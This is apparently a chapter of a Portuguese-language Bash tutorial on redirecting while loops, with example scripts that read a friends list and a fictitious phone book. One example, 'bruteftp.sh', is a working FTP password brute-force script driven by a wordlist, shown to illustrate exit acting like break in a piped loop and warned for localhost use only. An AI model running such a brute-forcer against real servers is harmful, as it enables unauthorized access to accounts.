Redirecionando loops
Lendo o livro "Linux: Programação Shell" (ver Referências) eu aprendi
umas formas de usar redirecionamento para loops. Vou tentar passar os
esquemas aqui através de exemplos meramente ilustrativos. Vamos a eles,
lembrando daqueles conceitos passados capítulo de Entrada e Saída (principalmente sobre
o read
e sobre os redirecionamentos).
"pipeando" para o while
Vamos imaginar um arquivo onde eu tenho os nomes de alguns amigos meus e a região onde eles moram. Como alguns amigos moram em uma mesma região eu não vou ficar repetindo a região para cada um. Portanto o arquivo fica assim:
#############################
# lista de amigos e estados #
#############################
#
# OBS.: ISSO NÃO É UM SCRIPT!
#
# Linhas que COMEÇAM com '#' serão consideradas
# comentários pelo script "listamigos.sh".
#
# Use da seguinte forma:
# REGIAO amigo1 amigo2 amigo3 amigoN ...
#
Nordeste slater nashleon xf eSc2
Sudeste module hekodangews manalaura blindbard klogd
Sul evillord emmanuele
Agora veja o script que usará as informações contidas no arquivo
amigos.regiao
:
#!/bin/bash
# listamigos.sh
# o egrep abaixo vai pegar o arquivo "amigos.regiao"
# sem exibir as linhas que comecem com um caractere '#'
# (considerado comentário) e sem mostrar linhas vazias,
# em seguida vai redirecionar a saída para a entrada do
# read que está lá no while (relembre-se do read no
# tópico 3.2.)
egrep -v "^#|^ *$" amigos.regiao |
while read REGIAO NOMES ; do
echo -e "\e[1m--> Amigos do $REGIAO:\e[m"
for amigo in $NOMES ; do
echo "$amigo"
done
echo
done
Deu pra sacar direitinho? Qualquer dúvida é só dar uma olhada nas man pages dos comandos que estão gerando as dúvidas.
Mas a coisa não é tão simples assim... Se dentro do loop você quisesse
usar o comando read para ler do teclado, seria necessário pegar a entrada
de /dev/tty
. Sabendo que o /dev/tty
é o terminal que você está usando.
Se você tiver muitos amigos no arquivo amigos.regiao
não vai
conseguir ver todos, pois a lista não caberá numa tela só. Neste caso, o
script a seguir será melhor que o listamigos.sh
.
#!/bin/bash
# listamigos2.sh
egrep -v "^#|^ *$" amigos.regiao |
while read REGIAO NOMES ; do
echo -e "\n\e[32;1m--> Amigos do $REGIAO:\e[m"
for amigo in $NOMES ; do
echo -e "\e[1m$amigo\e[m"
done
echo -ne "\nEntre para continuar ou 'sair' para sair: "
read QUIT < /dev/tty
[ "$QUIT" = "sair" ] && exit
done
Se quiser comprovar com seus próprios olhos a necessidade de pegar a
entrada de /dev/tty
é só retirar o < /dev/tty
naquele read dentro do
loop.
OBS.: Curiosamente o exit
dentro de um loop que recebe dados de um
pipe funciona como se fosse um break. Pra comprovar isso coloque no final
do script listamigos2.sh
um echo bla bla bla
e quando o script mostrar
Entre <ENTER> para continuar ou 'sair' para sair:
entre com sair
.
Isso ocorre porque durante o "pipeamento" os comandos são executados num subshell (um shell a parte ou shell filho, como preferir), e o exit faz sair deste subshell.
Vejamos um exemplo onde você verá que o exit
funciona como o break
:
#!/bin/bash
# bruteftp.sh
#
##################################################################
# ***********
# * ATENÇÃO *
# ***********
# Não use este script para atacar servidores remotos! Ele deixará
# arquivos de log imensos! Use-o apenas em localhost (127.0.0.1)
# e veja você mesmo os rastros deixados nos arquivos de log.
##################################################################
#
# Este código é só pra ilustração do texto
# "Programação em Bourne-Agai Shell", OK?
# Na prática mesmo ele não é muito útil.
# Se quiser fazer um ataque de força bruta
# mais eficiente faça em C.
# Veja mais sobre ataques de força bruta em um
# texto que o NashLeon fez em
#
#
# verifica se o parâmetro passado é um arquivo
[ -f "$1" ] || {
echo -e "\e[1mErro na passagem de parâmetros\e[m"
echo "Uso: `basename $0` wordlist"
exit 1
}
WL="$1"
echo -e " \e[36;1m
------------------------------- \e[37;1m
ataque de força bruta via ftp \e[36;1m
------------------------------- \e[m
"
read -p "Host: " HOST
read -p "Username: " USER
cat $WL |
while read PASS
do
# 230 é o número que recebemos quando entramos com sucesso via ftp
ftp -ivn << EoF | grep "^230" &>/dev/null
open $HOST
user $USER $PASS
bye
EoF
# $? contém o código de retorno do grep
[ $? -eq 0 ] && {
echo -e "\n\e[36;5;1mO ataque foi bem sucedido! \e[m"
echo -e "Username: \e[1m$USER\e[m\nPassword: \e[1m$PASS\e[m"
exit 0
# lembrando que o exit funciona como se fosse break
}
done
# $? contém o mesmo valor não-zero que fez parar o loop acima
[ $? -ne 0 ] && echo "
Você entupiu os arquivos de log por nada, pois o ataque fracassou...
Mais sorte da próxima vez!
"
O "pipeamento" para while
também é usado no Mextract.sh (ver Exemplos Variados.
redirecionando de arquivo para while
Agora veremos um arquivo onde eu tenho os telefones de alguns amigos.
A disposição das informações dentro do arquivo é um pouco parecida com o
amigos.regiao
, veja:
#######################
# Agenda de telefones #
#######################
#
# OBS. I: ISSO NÃO É UM SCRIPT!
# OBS. II: os números dos telefones deste
# arquivo são fictícios, não adianta
# que não vai dar pra sair passando
# trote... :-)
#
# Linhas que COMEÇAM com '#' serão consideradas
# comentários pelo script "listartel.sh".
#
# Use da seguinte forma:
# NOME PREFIXO TELEFONE
# Com os campos separados por UM ÚNICO .
#
# Exemplo:
# lampiao 12 12345678
# mariabonita 87 87654321
# telefone "dus manu"
xf 45 12431412
slater 98 65451654
minduin 45 54871800
nash 23 65576784
evil 23 54654654
heko 43 56465465
esc2 24 46456456
# telefone "das mina"
emmanuele 87 45646545
maylline 29 65654655
manalaura 82 65416578
erika 65 34245522
Vamos ao script que se utilizará das informações de agenda.tel
:
#!/bin/bash
# listartel.sh
TempFile=/tmp/TEMP-$$
# o egrep abaixo vai mostrar o arquivo agenda.tel
# sem exibir as linhas que comecem com um caractere '#'
# (considerado comentário) e sem mostrar linhas vazias.
# redirecionando a saída para $TempFile
egrep -v "^#|^ *$" agenda.tel > $TempFile
while read NOME PRE TEL ; do
echo -e "Tel de $NOME: ($PRE)$TEL"
done < $TempFile
# esse redirecionamento faz com o que o "read" lá no while
# leia linha por linha do arquivo $TempFile
rm $TempFile
Agora quando você se sentir solitário e quiser conversar com alguém, basta fazer o seguinte:
$ ./listartel.sh | grep emma
Aí é só você ligar pra emmanuele e bater um papo legal com ela. :)
OBS. I: Neste esquema também é necessário pegar os dados de /dev/tty
se você quiser usar o read dentro do loop.
OBS. II: Se você usar exit
dentro do loop usando este esquema, ele
REALMENTE SAIRÁ DO SCRIPT. Não é igual ao esquema anterior onde o while
recebe dados de um pipe e o exit
funciona como se fosse um break
. Então
repetindo: neste esquema o exit
funciona normalmente!
redirecionando a saída do loop para a tela
Ficou confuso com este título? "Redirecionar a saída do loop para a tela parece ser uma coisa inútil, pois isso acontece todas as vezes." Aí que você se engana! Vamos ao exemplo onde eu mostrarei a utilidade de se redirecionar desta maneira...
Temos um script chamado retornatel.sh
que pesquisa o telefone de um
determinado amigo (o nome é passado ao script durante sua execução). Agora
queremos pegar o telefone deste amigo e armazená-lo numa variável da
seguinte maneira:
FONE=`./retornatel.sh`
Só que, como veremos no script a seguir, a saída do script não é somente o número do telefone. Existe uma interface com o usuário perguntando qual o nome a ser pesquisado. Veja o script:
#!/bin/bash
# retornatel.sh
# tá bom, tá bom... eu sei que não é um exemplo muito útil...
# é só pra ilustrar a utilidade de redirecionar a saída do loop
FILE=agenda.tel
function gotoxy {
[ $# -ne 2 ] && {
echo gotoxy: Erro na passagem de parâmetros
echo Uso: gotoxy X Y
exit 1
}
echo -ne "\e[$1;$2H"
}
while true; do
clear
gotoxy 5 1
read -p "Nome a ser pesquisado ('sair' para sair): " NOME
[ "X$NOME" = Xsair ] && exit
if grep "$NOME" $FILE &>/dev/null ; then
break
else
gotoxy 10 15
echo Nenhum $NOME foi encontrado em $FILE.
read -p "Pressione para continuar..."
fi
done > /dev/tty
grep "^$NOME" $FILE | cut -f3
Olha o /dev/tty
aí de novo! :P
Redirecionando a saída de todo o loop para /dev/tty
, fará com que os
dados impressos para fazer a interface com o usuário não sejam enviados
para a saída padrão e por conseguinte não sejam enviados para a variável
que está recebendo o número através do método
variavel=`programa`
Desta maneira, se você quer armazenar o telefone do xf na variável
XFTEL
, faça o seguinte:
XFTEL=`./retornatel.sh`
E então pesquise por xf. Depois é só usar
echo $XFTEL
para ver o telefone do cara.
Experimente usar o script sem este redirecionamento e pegar o telefone do xf desta maneira que expliquei para apreciar os resultados bizarros...